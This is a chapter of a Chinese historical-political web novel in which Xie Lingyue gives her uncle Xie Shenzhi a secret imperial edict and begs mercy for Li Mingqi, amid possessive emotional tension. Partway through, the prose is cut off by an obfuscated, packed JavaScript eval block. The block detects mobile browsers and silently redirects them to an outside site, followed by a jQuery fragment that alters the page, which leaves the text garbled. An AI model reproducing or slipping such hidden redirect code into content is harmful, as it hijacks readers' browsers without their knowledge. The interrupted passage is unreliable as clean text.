李珏眼观鼻,鼻观心,极有眼色开口道:“虽说李鸣岐冒死将陛下的圣旨带出,所立之功甚大,可终归不过一个羽林卫,哪里值得你再三向九郎道谢?” 李珏道:“你与九郎才是一家人。”“没有一家人因为一个外人生分客气的。” 谢慎之眉梢微挑。 显而易见,李珏不是极了解谢慎之的人,更不是与他极为相熟的人,自然察觉不到他的细微变化。 李珏只是一个在女人堆里所混久了、故而习了一身哄人的好本领的纨绔,因善弄风月,所以便能推己度人,觉得此时的谢慎之大抵是不大乐意听到谢灵越为了李鸣歧而一而再再而三向他道谢的。 那是他与谢灵越之间的砂砾。 他对谢灵越隐密的占有欲不允许这颗砂砾的存在感太高,更不喜欢谢灵越太把这颗砂砾当回事。 尽管谢灵越喜欢这颗砂砾,甚至还为了这颗砂砾与他撕破脸。但他不能宣出于口的心思依旧能自己欺骗自己,萤虫岂能与日月争辉?在谢灵越心里,他才是最重要的那一个,其他的不值一提。 李珏心中好笑。 这位酷吏权臣不仅擅长争权夺势,在自欺欺人的事情上亦分外见长。——如果换成他,断然做不到这般坦然接受不争的事实。 “哦。” 谢灵越的情绪并不高,简单哦了一声,算是回应李珏的话。 她心里烦得很,又不知到底在烦什么。地上的李鸣岐仍在昏迷之中,她俯身去搀李鸣岐,动作机械而苦闷。 那张刚被自己擦干净的小脸再次染上少年身上的鲜血,谢慎之眯了眯眼。 “县君,让我们来吧。”亲卫们极有眼色上前,从谢灵越手里接过李鸣岐。 谢慎之对李鸣岐暂时无杀心,谢灵越不再抗拒亲卫们搀扶李鸣岐,起身收回手,取了自己的帕子,慢慢地擦拭着少年脸上的血迹。 这是她情窦初开之际便喜欢的一个人,一块未经雕琢的美玉。她丝毫不怀疑,若有一日他困龙入海,必会翻云覆雨直入云霄。 那时的他,会与九叔走到对立吗? ——大概会的。 如同九州天下容不下两个帝王,战乱百年的神州大地终有一日会再度归一,而偏居一隅的大虞也容不得两个同样野心勃勃的人,朝堂之上的权臣之争只有人会胜出。 这大概便是九叔要她两选一的原因所在。 她的少年郎潜龙在渊,静待天时。 而她的九叔亦心怀大志,有匡扶天下之志。他们两个都不是甘心屈居人下之人。 纵然在北伐的事情上达成一致,但当华夏再度一统,他们的争斗便会徐徐拉开帷幕,让原本便干疮百孔的神州大陆再度陷入水深火热之中。 当然,这极有可能是她的一厢情愿。势单力薄的李鸣岐根本不会是九叔的对手,更不可能走到与九叔分厅抗衡的地步——除非她背叛九叔,站在他这边。 谢灵越心口倏地一跳。 她抬头去看谢慎之。男人安静看着她,肤丽眉眼静谧而无奈。 “阿越,有亲卫照顾他,你无需担心他的伤势。”谢慎之道。 谢灵越慌乱不安的心脏一下子静了下来。 她怎会背叛九叔去选择李鸣岐呢?——那是她自幼便相依为命的九叔啊! 谢灵越吸了吸鼻子,“我知道。” 几乎没有任何犹豫,她打开从护心镜下取出明黄色的诏书,把李鸣岐给她的天子密诏递给谢慎之。 谢慎之挑了下眉,没有接。 "有了这个,九叔便是师出有名,是奉天子明召讨贼,而不是犯上作乱的逆贼。"谢灵越继续说道:“九叔忠君爱国,赤胆昭昭,不应该担受谋逆祸国的污名。” "这是李鸣岐冒死带出来的。" 她看着谢慎之眼眸,低声恳求道:“望九叔念他今日之功,日后留他一条性命。” 可转念一想,政治斗争不是请客吃饭,是诛灭三族,斩草除根,绝不给自己留下任何隐患。 卧榻之间岂容他人酣睡? 一个成熟的政治家,不可能对自己的敌人心怀仁善。 谢灵越艰难开口,“若……果真到了那一步,望九叔怜我不易,留他一个全尸,莫叫他走得太过难堪。” 谢慎之眼底墨色无声化开。 "那么,阿越会恨我么?" 他问谢灵越。 谢灵越肩膀轻轻一颤。 怎么可能不恨呢? 她那么喜欢李鸣岐。 可是——如果李鸣岐赢了,那么死的人便是她九叔。 谢灵越咬了下唇,半晌无话。 谢慎之轻轻笑了起来,又问,“阿越会为他报仇么?” 报仇? 不,不会。她怎么可能会为了一个男人去杀九叔?哪怕那人是李鸣岐也绝无可能。 "不会。" 谢灵越摇了摇头。 "我或许会恨你,但不会去杀你。"谢灵越低声道:"我大概会再也不想见到你,一辈子都离你远远的。" 这显然不应该是一个自幼长在谢慎之羽翼之下的人该说出来的话。如此薄凉,如此忘恩负义,为了一个男人,便再也不理她的至亲。 道理她都懂,可她真的做不到在李鸣岐死在九叔之后还能心无芥蒂与九叔闲话家常。 谢灵越嘴角紧抿,如绷直的线。 这样的她,一定会让九叔很失望吧?被九叔放在掌心捧着的她,竟会因为一个男人与九叔翻脸。 她自己都瞧不起她自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806912|148360||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可下一刻,她却听到九叔的声音缓缓响起——“这便够了。” 不杀他,便够了。 便还是他骄纵任性的小阿越,只是这次与他闹脾气的时间有些久罢了。久也无妨,来日方长,他们总能将苦涩的果子酿成香醇的美酒。 谢灵越愣在原地。 温暖大掌落在她头顶。干燥修长的手指在她发间摊开,轻轻梳理她的发。 "不杀九叔,便够了。"谢慎之缓声开口,将方才的话重复,声音里似乎还带了些许笑意。 他从不怪她。哪怕她会因为一个男人与他决裂。 谢灵越抬头。 密林将清冷月色切割成片片的薄霜,如碎了一地的银光。 谢慎之立于银光下,垂眸看着她。 他的眼睛对于男人来讲过于艳丽,眼睑微敛看人时,有一种非卿不可的深情在里面。只是他气质太过冷冽,挺直的鼻与薄薄的唇太过锋利,才将那哪怕看狗都深情的潋滟眼眸分化了去,雕琢成让人不寒而栗的金陵谢九。 可现在,他墨色瞳孔里只有她一人。微扬着脸,略显苍白的脸色映着孤冷的月光,在他眼里盈盈亮,整个人仿佛在发光。 谢灵越突然很想伸手捂住他的眼。 但那种动作不合时宜得很,此时做起来别有一种掩耳盗铃的怪异。所以她只好偏过脸,避开他灼热视线,仿佛这样能让自己稍微自在些。 “原来九叔对我的要求这么低。”她听到自己喃喃开口,声音含糊不清。 但她的话却一字不落入了谢慎之的耳朵,孤僻的青年眉眼更显舒展,抚弄着她头发的手指拢起来,食指微曲,在她额头轻轻叩了叩。 或许是夜里风凉,她总觉得轻叩着她额头的手指有些烫。微烫的温度似乎能传染,落在她额头的那一刻,便能把他的体温隔着薄薄的皮子递进她血肉,烫得她无处可躲。 “错了,九叔对你从无要求。”谢慎之的声音伴随食指一同落下。 这无疑是句大实话。在别的贵女们读四书五经习琴棋书画之时,她的字迹仍写得像狗爬,把夫子气走了不知多少个。 “哦。” 她只好哦。 但身体却别扭地躲着谢慎之。她还伸出了手,隔着臂甲握着他手腕,将他的手从自己额头拿开。 这个动作应该没有出错吧? 毕竟她已长大,不能再跟小时候一样小跑着撞进谢慎之怀里撒娇。她已是大女郎了,该知晓一些分寸的。谢慎之淡然看着谢灵越的别别扭扭。 眉目之间与他并不想象,可骨子里的气度却与他如出一辙。——他以心血浇灌的玫瑰,处处有着他的模样。 只是玫瑰么?既承了他的风骨,便该融进他的血肉,化成灰也与他在一处。 谢慎 之莞尔。 他从谢灵越手里接过天子密诏,在她面前展开。 方才他已屏退左右,此时小道上只有他与谢灵越。密旨上的内容让小姑娘吓了一跳,因太过惊讶,以至于连声音都变了调,“舅舅竟没有写继承人?!” "那九叔要辅佐谁为天子?" 心中难以名状的苦闷与大虞的未来相比不值一提,谢灵越全部的注意力被诏书上的内容所吸引,“太子表兄?还是二殿下?” “不对——” 话刚出口,她又连连摇头,“封余何等狠辣?他连舅舅都敢下手,又怎会留太子与二皇子的性命?” 皇权斗争,向来如此残酷。 谢灵越脸色苍白如纸,“舅舅……绝嗣了。” “那,九叔要怎么做?”谢灵越喃喃出声,“九叔要立谁为嗣子?要谁来继承大统?” 谢慎之看着谢灵越的眼睛,“阿越想要我立谁?” "我,我不知道。" 谢灵越的心脏跳得厉害。 谢慎之替她回答,“李鸣岐?” “不,不能是他。” 谢灵越脱口而出。 权臣之争尚且夷灭三族,天子与权臣岂不是要波及更广?更别提一但立了李鸣岐,便是往他手里塞了一把刀,让他以后可以名正言顺诛杀九叔。 她既然知晓权利斗争的残酷,又怎会让九叔成为天子手下的鱼肉? 谢灵越连连摇头,"不能是李鸣岐。"“九叔,李鸣岐可为将才,不可为天子。” “阿越,你以前不是这么说的。”谢慎之眸光轻闪,“你以前说他是龙困浅溪,虎落平阳。” "我——我现在也这么说。"谢灵越别扭说道:“但他不能在九叔之上,更不能成为掣肘九叔的存在。” 谢慎之慢慢笑了起来。 “你笑什么?” 谢灵越有些奇怪。 谢慎之不答话,只是看着她笑。 她被他看得有些不自在,又想别开脸。可脸刚刚侧到一边,他的手却伸了过来,似是要轻抚她脸颊。 她身体微僵,侧脸的动作为之停下。 可那只却并未落在她脸上,只拢起在她脸侧散开的鬓发,将那些碎发梳在她耳后。仿佛是世家公子刻在骨子里的礼仪在作祟,因看她散发,便有些手痒,要让她的发与他一样一丝不苟似的。 “……” 无聊的动作。 谢灵越莫名烦闷。 可下一刻,他整理完她的发,却来牵她的手。她的手有些凉,而他的很温暖,烫得她手指缩在他掌心,一动也不敢动。 这是要做什么?她别扭着,却没有把自己的手从他掌心抽开,只偷偷用余光去看他的脸。 他也在看她。好看的眉眼格外漂亮,像是天上的星辰一样。 只是星辰太亮,让她有些无所适从,仓促移开自己的眼,像是生怕被人抓到的小偷。 “阿越,像李鸣岐这种人,你想要多少,九叔便给你多少。”她听到谢慎之的声音在她头顶响起。 而她的手仍被他握在掌心,然后被牵引着,落在他护心镜上。护心镜后面,是一颗心脏在跳动。 明光铠太厚,护心镜也足够坚固,隔着厚厚的明光铠与护心镜,她感受不到那颗心脏的跳动与热度。可尽管如此,他依旧拿她的手抵着自己的胸口,仿佛此时的他身上并无盔甲,只有一身血肉与任人拿捏的心脏。 “但是阿越,” 谢慎之拿着她的手抵在自己心脏的位置,“你这里,需给我留一个位置。”